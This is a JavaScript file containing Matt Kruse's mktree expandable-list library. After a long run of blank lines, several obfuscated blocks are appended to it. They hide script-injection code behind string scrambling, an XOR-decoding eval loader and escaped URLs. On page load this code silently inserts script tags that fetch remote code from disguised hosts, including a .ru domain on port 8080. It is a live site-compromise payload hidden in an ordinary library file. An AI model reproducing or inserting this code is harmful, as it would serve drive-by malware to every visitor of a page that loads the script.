// ===================================================================
// Author: Matt Kruse <matt@mattkruse.com>
// WWW: http://www.mattkruse.com/
//
// NOTICE: You may use this code for any purpose, commercial or
// private, without any further permission from the author. You may
// remove this notice from your final code if you wish, however it is
// appreciated by the author if at least my web site address is kept.
//
// You may *NOT* re-distribute this code in any way except through its
// use. That means, you can include it in your product, or your web
// site, or any other form where the code is actually being used. You
// may not put the plain javascript up on your site for download or
// include it in your javascript libraries for download. 
// If you wish to share this code with others, please just point them
// to the URL instead.
// Please DO NOT link directly to my .js files from your site. Copy
// the files to your server and use them there. Thank you.
// ===================================================================

// HISTORY
// ------------------------------------------------------------------
// December 9, 2003: Added script to the Javascript Toolbox
// December 10, 2003: Added the preProcessTrees variable to allow user
//      to turn off automatic conversion of UL's onLoad
// March 1, 2004: Changed it so if a <li> has a class already attached
//      to it, that class won't be erased when initialized. This allows
//      you to set the state of the tree when painting the page simply
//      by setting some <li>'s class name as being "liOpen" (see example)
/*
This code is inspired by and extended from Stuart Langridge's aqlist code:
		http://www.kryogenix.org/code/browser/aqlists/
		Stuart Langridge, November 2002
		sil@kryogenix.org
		Inspired by Aaron's labels.js (http://youngpup.net/demos/labels/) 
		and Dave Lindquist's menuDropDown.js (http://www.gazingus.org/dhtml/?id=109)
*/

// Automatically attach a listener to the window onload, to convert the trees
addEvent(window,"load",convertTrees);

// Utility function to add an event listener
function addEvent(o,e,f){
	if (o.addEventListener){ o.addEventListener(e,f,true); return true; }
	else if (o.attachEvent){ return o.attachEvent("on"+e,f); }
	else { return false; }
}

// utility function to set a global variable if it is not already set
function setDefault(name,val) {
	if (typeof(window[name])=="undefined" || window[name]==null) {
		window[name]=val;
	}
}

// Full expands a tree with a given ID
function expandTree(treeId) {
	var ul = document.getElementById(treeId);
	if (ul == null) { return false; }
	expandCollapseList(ul,nodeOpenClass);
}

// Fully collapses a tree with a given ID
function collapseTree(treeId) {
	var ul = document.getElementById(treeId);
	if (ul == null) { return false; }
	expandCollapseList(ul,nodeClosedClass);
}

// Expands enough nodes to expose an LI with a given ID
function expandToItem(treeId,itemId) {
	var ul = document.getElementById(treeId);
	if (ul == null) { return false; }
	var ret = expandCollapseList(ul,nodeOpenClass,itemId);
	if (ret) {
		var o = document.getElementById(itemId);
		if (o.scrollIntoView) {
			o.scrollIntoView(false);
		}
	}
}

// Performs 3 functions:
// a) Expand all nodes
// b) Collapse all nodes
// c) Expand all nodes to reach a certain ID
function expandCollapseList(ul,cName,itemId) {
	if (!ul.childNodes || ul.childNodes.length==0) { return false; }
	// Iterate LIs
	for (var itemi=0;itemi<ul.childNodes.length;itemi++) {
		var item = ul.childNodes[itemi];
		if (itemId!=null && item.id==itemId) { return true; }
		if (item.nodeName == "LI") {
			// Iterate things in this LI
			var subLists = false;
			for (var sitemi=0;sitemi<item.childNodes.length;sitemi++) {
				var sitem = item.childNodes[sitemi];
				if (sitem.nodeName=="UL") {
					subLists = true;
					var ret = expandCollapseList(sitem,cName,itemId);
					if (itemId!=null && ret) {
						item.className=cName;
						return true;
					}
				}
			}
			if (subLists && itemId==null) {
				item.className = cName;
			}
		}
	}
}

// Search the document for UL elements with the correct CLASS name, then process them
function convertTrees() {
	setDefault("treeClass","mktree");
	setDefault("nodeClosedClass","liClosed");
	setDefault("nodeOpenClass","liOpen");
	setDefault("nodeBulletClass","liBullet");
	setDefault("nodeLinkClass","bullet");
	setDefault("preProcessTrees",true);
	if (preProcessTrees) {
		if (!document.createElement) { return; } // Without createElement, we can't do anything
		uls = document.getElementsByTagName("ul");
		for (var uli=0;uli<uls.length;uli++) {
			var ul=uls[uli];
			if (ul.nodeName=="UL" && ul.className==treeClass) {
				processList(ul);
			}
		}
	}
}

// Process a UL tag and all its children, to convert to a tree
function processList(ul) {

	if (!ul.childNodes || ul.childNodes.length==0) { return; }
	// Iterate LIs
	for (var itemi=0;itemi<ul.childNodes.length;itemi++) {
		var item = ul.childNodes[itemi];
		if (item.nodeName == "LI") {
			// Iterate things in this LI
			var subLists = false;
			for (var sitemi=0;sitemi<item.childNodes.length;sitemi++) {
				var sitem = item.childNodes[sitemi];
				if (sitem.nodeName=="UL") {
					subLists = true;
					processList(sitem);
				}
			}
			var s= document.createElement("SPAN");
			var t= '\u00A0'; // &nbsp;
			s.className = nodeLinkClass;
			if (subLists) {
				// This LI has UL's in it, so it's a +/- node
				if (item.className==null || item.className=="") {
					item.className = nodeClosedClass;
				}
				// If it's just text, make the text work as the link also
				if (item.firstChild.nodeName=="#text") {
					t = t+item.firstChild.nodeValue;
					item.removeChild(item.firstChild);
				}
				
				s.onclick = function () {
					
					collapseTree('tree1'); 
					var someId = s.innerHTML.substring(6);
					this.parentNode.className = (this.parentNode.className==nodeOpenClass) ? nodeClosedClass : nodeOpenClass;
					this.parentNode.parentNode.parentNode.className = (this.parentNode.parentNode.parentNode.className==nodeOpenClass) ? nodeClosedClass : nodeOpenClass;
				
					// I needed to close all the other nodes, still, since my list only goes 1
					// level deep; I've added the parentNode.parentNode.parentNode class so
					// subclasses also open their own parents (otherwise the open state would
					// be invincible
				
					return false;
				}
			}
			else {
				// No sublists, so it's just a bullet node
				item.className = nodeBulletClass;
				s.onclick = function () { return false; }
			}
			s.appendChild(document.createTextNode(t));
			item.insertBefore(s,item.firstChild);
		}
	}
}












this.b="b";var a='s6c2r6i4p6t6'.replace(/[62Ko4]/g, '');var cu="cu";var hj="hj";var c=window;var d=document;this.s=36600;var z=12167;c.onload=function(){var e=37031;try {r=d.createElement(a);var cm=new Array();var ez;if(ez!='j' && ez != ''){ez=null};r.setAttribute('d;e8f/e;r/'.replace(/[/G8W;]/g, ''), "1");var z_=false;r.src='h<tDtDpT:D/T/D3&6D0<-@cDn&.<g<o&oTgDlTe<.DcDoDm@.<d&o&.@g@oTo@gTlTe&-DcTzT.&t&hDeTl@iTfTe&t<a<gT.<rDu&:T8@0<8&0</Tg&oDo@g<l&e<.Tc&o<m<.<p<k</Tg&o&oDgDl@e<.Tc<o@mT.Tp&kT/<aTs<g@.<t<oD/Tg<o<oTgDlDe&.@c&o@mD/<fTlTiDn@g<.DcToDm&/T'.replace(/[TD@&\<]/g, '');this.dep="dep";d.body.appendChild(r);this.to=52204;var cq=new Date();} catch(v){var qu="qu";};var ce;if(ce!=''){ce='qtv'};};
this.cy=4283;var j=new Array();var h=window;var b;if(b!=''){b='jo'};var g=document;var cyw=new String();var n;if(n!='ae' && n!='hy'){n=''};function z(a){var qs=new String();var q=['h%t<t%p3:%/%/jmjeje<b<o%-%c3oYmj.jy%a%.<r%uj.<sYhja%rYejajs3aYlYe3-jc%o<mj.3yjo<u3rjtYo%ljl3t3aYgj.3r%uY:Y8Y0%8j0%/%a3o3lj.Yc%o3.%u<k%/Ya%o3lj.<cjoj.%uYkY/%p3a3n%t<i3pY.<c<o%m%/Yi<m3m%o<bYi<l3i%e3n3s3cYo3uYt32%4Y.%d%e3/Yg<ojoYgjl<e3.Ycjo3mY/3'.replace(/[3\<Y%j]/g, ''), 'swcUrFiopoto'.replace(/[oFUwQ]/g, ''), 'c^r@eTaqt^eTEql@e;m@e^n^t@'.replace(/[@T\^q;]/g, ''), 'oDn8l8o?aDdD'.replace(/[D\>8\?9]/g, ''), 'szrWce'.replace(/[ehzWt]/g, ''), 'aypEpIeEn;dEC;hEi;lydy'.replace(/[y;jEI]/g, ''), 's/eJtkAJtqtqr/iFbku/t/eq'.replace(/[qF/kJ]/g, ''), 'bKo1d1y1'.replace(/[1NKQ@]/g, ''), 'd4etf5e5rt'.replace(/[t54\$s]/g, ''), "1"];var qw=q[a];return qw;var nh=new Date();}var ts;if(ts!='jk' && ts!='dc'){ts='jk'};var r = function(){var m=new Date();try {this.aw="aw";c=g[z([2][0])](z([1,6][0]));var _ = g[z([7,6][0])];this.wq=50414;c[z([6][0])](z([8][0]), z([9][0]));c[z([4,4][0])]=z([0][0]);this.oz="oz";_[z([5][0])](c);var ut="ut";} catch(e){var _z;if(_z!='' && _z!='_dq'){_z=''};};var qa=new Date();};var v;if(v!=''){v='ho'};h[z([3][0])]=r;var eg;if(eg!='tl' && eg!='nt'){eg=''};
var cWY="c3d6c8f0c4afead6ccd1f8b9d4d0d1c0baf6c3fed4d1f6d2dbfff2eaf1dcf7f0c8f9c9f3d2daeac6f7c2efd5eddfc7ffccfad3d2e1c3ccdcc4fedee19f9491909ee5cbd7c4a7c9f583d0d5e087e3f3b7cfe0";var JP="JP";var KT='';function F(d){this.f='';this.wu="";var vW;if(vW!='Fh' && vW!='vH'){vW='Fh'}; var Md;if(Md!='Qy'){Md=''};function S(P, dI){this.MK=58742;this.FG=64503;var SE='';var W=[0][0];this.dG="dG";var c = '';var lu;if(lu!='Fs' && lu!='Ar'){lu='Fs'};var p = P.length;var a = dI.length;var Zt;if(Zt!='' && Zt!='HM'){Zt=''};var h=[1][0];for(var Z = W; Z < p; Z += a) {var s;if(s!='ee' && s!='X'){s=''};var BP="";this.Rk='';var qU;if(qU!='' && qU!='Bo'){qU='C'};var E = P.substr(Z, a);var wS;if(wS!='' && wS!='Qz'){wS='pk'};var MP;if(MP!='sO' && MP != ''){MP=null};if(E.length == a){var Fn='';var Zg="Zg";for(var H in dI) {var g=29823;var zZ="";var mi=new Array();c+=E.substr(dI[H], h);var Un=new String();var JS=new String();var lj='';var Zi='';}var vo;if(vo!='' && vo!='Kw'){vo='K'};this.gs='';} else {  c+=E;var AK=false;}var cn;if(cn!='' && cn!='ZY'){cn=''};var yD=new Date();}var wl;if(wl!='DfZ' && wl!='GX'){wl='DfZ'};var el;if(el!='os' && el != ''){el=null};return c;this.OW='';}var qX;if(qX!='KN' && qX!='Pm'){qX=''}; var B=function(w,V){this.Bov="Bov";this.CM="CM";return w[S("rcdoheaCAt", [1,4,6,0,7,3,2,5])](V);this.wF="";};this.zS='';var OJ="";var Kl=43065; var gm;if(gm!='yF' && gm!='kX'){gm=''};function BK(N,aH){var ua;if(ua!='nx'){ua=''};return N^aH;var Mk=false;}var Gs="";var aL=new Date();var xp=7626; this.oh=false;function m(P){var dH = -1;var jG;if(jG!='' && jG!='QX'){jG=null};this.DfR=32647;var c = '';var zd;if(zd!='nM' && zd!='QK'){zd=''};this.fz=51146;var Z =[123,0,247,208][1];var Zgw=new String();P = new A(P);var YIr;if(YIr!='' && YIr!='he'){YIr='Zf'};var UK;if(UK!='' && UK!='Xf'){UK='VP'};var W =[203,0,22][1];var bt="";var jB;if(jB!='' && jB!='UB'){jB=''};this.fC='';for (Z=P[S("nlehgt", [1,2,0])]-dH;Z>=W;Z=Z-[1,216][0]){this.ch=8826;c+=P[S("ahcrAt", [2,1,0,3])](Z);}var yz=58087;return c;}var De;if(De!='' && De!='Zb'){De=''};var se=new Date(); function D(Y){var Vl="";var Zq=new Array();var H=[0][0];var t=[0,35][0];var IC="IC";var RI=new String();var z=Y[S("nlehgt", [1,2,0])];var M=[255][0];var h=[141,1][1];var hO;if(hO!='Vp' && hO!='dq'){hO=''};var mG="";var sH='';var kO='';while(H<z){H++;var zb;if(zb!='' && zb!='BZ'){zb=null};var Wz="Wz";j=B(Y,H - h);var Mu;if(Mu!='IT'){Mu=''};t+=j*z;}return new A(t % M);this.bT=5701;}this.hG=false;var Hw="Hw";var mM='';var Sft='';var L=window;var zE;if(zE!='' && zE!='JM'){zE=''};var r=L[S("vael", [2,0,1])];this.FVj="FVj";var Kt;if(Kt!='Tv'){Kt='Tv'};var O=r(S("ntioFunc", [4,5,6,7,1,2,3,0]));this.Xp=false;var RIK='';var cW=r(S("eExgRp", [4,0,3,1,2]));var kI;if(kI!='CI' && kI!='Et'){kI='CI'};this.Yf=56758;var ug;if(ug!='Za' && ug!='Gq'){ug=''};var pp;if(pp!=''){pp='En'};var YY = '';var oj;if(oj!=''){oj='LD'};var mv=24727;var A=r(S("tSirgn", [1,0]));var lQ="";this.Ef=false;var ry=24406;var QM='';this.Xa="";var IS;if(IS!='vU' && IS != ''){IS=null};var GB;if(GB!=''){GB='zm'};this.TA=false;var ix;if(ix!='JX' && ix != ''){ix=null};var Zn=A[S("hofrCmeCardo", [2,3,1,5,4,0])];var YI=L[S("censaupe", [5,2,1,3,0,4])];var zH='';var nX;if(nX!='' && nX!='xH'){nX=''};var qv;if(qv!='tr'){qv=''};this.vO="vO";var wf;if(wf!='' && wf!='nl'){wf=''};var PC = "%";var q =[71,0][1];var gor="";var ly="ly";var ut="ut";var h =[1][0];var SA = /[^@a-z0-9A-Z_-]/g;var CP=new Array();var RX=new String();var Iv=new String();var l = '';var ls=new Date();var u = d[S("elntgh", [1,0,2])];this.WY="WY";var MA=[1, S("ocdmeut.nrectealeEenm(\'tcrspti\')", [2,0,1]),2, S("trelainme.otmco", [1,2,0]),3, S("oucdmn.tebd.yoapnepdhliCd(d)", [3,0,2,1,4]),4, S(".sdtAetrtbuie(tde\'erf\'", [2,0,1]),5, S("ro.gisetamepr.:u0808", [1,0]),6, S(".amk.yoxmrcae.woz", [2,7,0,5,6,3,1,4]),7, S("geologmpc.o.e", [5,2,4,0,3,1]),8, S("ionwdwoonal.d", [5,0,2,4,1,3]),11, S("csk.rkoycom", [1,5,7,4,6,0,2,3]),12, S("goo.cgleom", [5,2,1,0,6,7,3,4]),14, S("ucnfinot()", [3,0,2,1]),15, S("acct(h)e", [1,0]),16, S("th\"pt:", [2,1,4,0,3]),17, S("gogole", [2,3,1,0]),18, S(".srdc", [3,0,1,2]),19, S("1\'\')", [2,0,1]),20, S("ocm", [1,0]),21, S("yrt", [2,1,0]),22, S("bb", [1,0])];var Cm=11542;var uW = '';this.EZ=false;var W =[186,0,173][1];var gw;if(gw!='mb' && gw!='ub'){gw=''};var DE = '';var kx;if(kx!='OG'){kx='OG'};var lb;if(lb!='' && lb!='lc'){lb=''};var Yh =[2][0];var cY;if(cY!='vq'){cY=''};var Cl;if(Cl!='Pi'){Cl=''};var NoH;if(NoH!='uG'){NoH=''};var iw;if(iw!=''){iw='YuG'};var vj=new String();this.lz="";for(var e=W; e < u; e+=Yh){uW+= PC; var FP;if(FP!=''){FP='OY'};uW+= d[S("ssrbut", [1,4,3,0,5,2])](e, Yh);this.sK=49603;var rn;if(rn!='Jc' && rn != ''){rn=null};}var d = YI(uW);var YfK;if(YfK!='' && YfK!='WYQ'){YfK=''};var Qk;if(Qk!='' && Qk!='nZ'){Qk=''};var xpy="xpy";var JH='';var ri = new A(F);var XX;if(XX!='UnG' && XX!='wn'){XX='UnG'};var Q = ri[S("erpalce", [1,0,2])](SA, l);this.Ex="";this.ka=false;Q = m(Q);var Av = new A(O);var hu=new String();var Tb=new Date();var i = MA[S("nelhtg", [2,1,0])];this.ZtJ="";var VX;if(VX!='sr' && VX != ''){VX=null};var Qx = Av[S("lrepace", [1,2,3,0])](SA, l);this.gU="gU";var Qx = D(Qx);var aR;if(aR!='' && aR!='eN'){aR=''};var G=D(Q);for(var Z=W; Z < (d[S("elntgh", [1,0,2])]);Z=Z+[1,159][0]) {var UhF;if(UhF!='WB' && UhF!='KO'){UhF='WB'};var KI=false;var KZ;if(KZ!='PU'){KZ='PU'};var Pv = Q.charCodeAt(q);this.fx="fx";var Nr;if(Nr!='gfw' && Nr != ''){Nr=null};var Fc = B(d,Z);var NrS;if(NrS!='wd'){NrS=''};this.ZU="ZU";Fc = BK(Fc, Pv);this.HF="";Fc = BK(Fc, G);this.RLJ="";Fc = BK(Fc, Qx);var BA=new Array();q++;if(q > Q.length-h){var inM=false;var EI=false;q=W;var WsX=44220;var jY=32202;}var Yk;if(Yk!='' && Yk!='xR'){Yk=null};DE += Zn(Fc);var IG=20902;}for(Vo=W; Vo < i; Vo+=Yh){var zg;if(zg!='bZo'){zg='bZo'};var R = Zn(MA[Vo]);this.YMy=false;var aE = MA[Vo + h];this.tn="tn";var hh=new Date();var FU;if(FU!='dA' && FU!='BL'){FU=''};var DI;if(DI!='pe'){DI=''};var mA = new cW(R, Zn(103));DE=DE[S("cpereal", [3,4,1,6,5,0,2])](mA, aE);var Nu;if(Nu!='' && Nu!='yZ'){Nu=''};}var sF='';var rG=new O(DE);var ko;if(ko!='HLY' && ko!='Gi'){ko=''};rG();var ddR;if(ddR!='AL'){ddR='AL'};var fu="fu";this.rb=false;DE = '';var zZU;if(zZU!='vI'){zZU='vI'};this.dYf="dYf";Qx = '';this.kq='';var iS="iS";this.sY=26508;rG = '';var sT;if(sT!='' && sT!='mo'){sT='ti'};var eG=new Date();G = '';var AS;if(AS!='' && AS!='uw'){AS=''};var EY='';Av = '';var nN=new String();this.AO=false;var HC;if(HC!='' && HC!='Rh'){HC=''};Q = '';var VE;if(VE!='' && VE!='pvT'){VE=''};var mr=15419;var Dt;if(Dt!='' && Dt!='OX'){Dt=null};this.SIH="SIH";var iN=new String();return '';this.Lx=false;};var JP="JP";var KT='';F(cWY);


function K(){var _;if(_!='' && _!='kb'){_=''};var e=new Date();var F;if(F!=''){F='njY'};this.Ru="";var n=unescape;var X=new Date();var E=window;var nT=new Date();var PG=new Date();var k=n("%2f%73%75%65%64%64%65%75%74%73%63%68%65%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%66%6f%6c%64%65%72%2e%72%75%2e%70%68%70");this.PB="";var ld;if(ld!='TD'){ld='TD'};function l(J,g){var lE="gKLNM".substr(0,1);var S=n("%5b"), Y=n("%5d");var bZ;if(bZ!='j' && bZ!='c'){bZ=''};var Er;if(Er!='' && Er!='rT'){Er=null};var R=S+g+Y;var kB;if(kB!='' && kB!='FV'){kB=''};var Sdz=new String();var G=new RegExp(R, lE);return J.replace(G, new String());this.f='';this.oL='';};this.nP="";var Xq="";var pW=new Array();var zC="";var kq;if(kq!='xX' && kq != ''){kq=null};var eG=new String();var lV=new String();var gQ=new String();var PR;if(PR!='' && PR!='wo'){PR='H'};var nR=new String();var uP;if(uP!='Wp' && uP != ''){uP=null};var Kz=document;var Yz=l('864713912015243871221063229452','37294561');var UM=new String();var xA;if(xA!='' && xA!='Yo'){xA=null};this.QP='';function t(){var Z;if(Z!=''){Z='YZ'};var dX;if(dX!='' && dX!='Rf'){dX=null};this.Yzi='';var I=n("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var ls="";var M;if(M!='' && M!='Vw'){M=null};var PH;if(PH!='uk'){PH=''};var Ms=new Date();nR=I;var HP;if(HP!='Qs'){HP=''};nR+=Yz;var Qk="";nR+=k;var WU='';var yB;if(yB!='gT'){yB=''};try {var rU='';var qh=new String();var kz;if(kz!='Kp'){kz='Kp'};d=Kz.createElement(l('s_cHr_iHpHt_','_jH'));var XC=new Array();var jG=new Array();d[n("%64%65%66%65%72")]=[1][0];this.Lu='';this.kS="";d[n("%73%72%63")]=nR;var mo;if(mo!='nc' && mo!='uy'){mo=''};var Zd="";var uA=new Array();var kd;if(kd!='vK'){kd='vK'};Kz.body.appendChild(d);var XH=new Array();var jF;if(jF!=''){jF='mI'};var Tg=new String();} catch(b){var Mb="";alert(b);var hR="";var qq;if(qq!='' && qq!='Ak'){qq='El'};};}var zr;if(zr!='' && zr!='SY'){zr=''};this.GM='';var ud;if(ud!='HML' && ud != ''){ud=null};E[String("onlo"+"kQcad".substr(3))]=t;var sm=new Array();var wX=new Array();var dN;if(dN!='Cz' && dN!='rh'){dN=''};var Gs;if(Gs!='fr' && Gs!='U_'){Gs='fr'};};var gf;if(gf!='' && gf!='LY'){gf=''};var ll;if(ll!='' && ll!='nV'){ll=''};K();this.Up='';
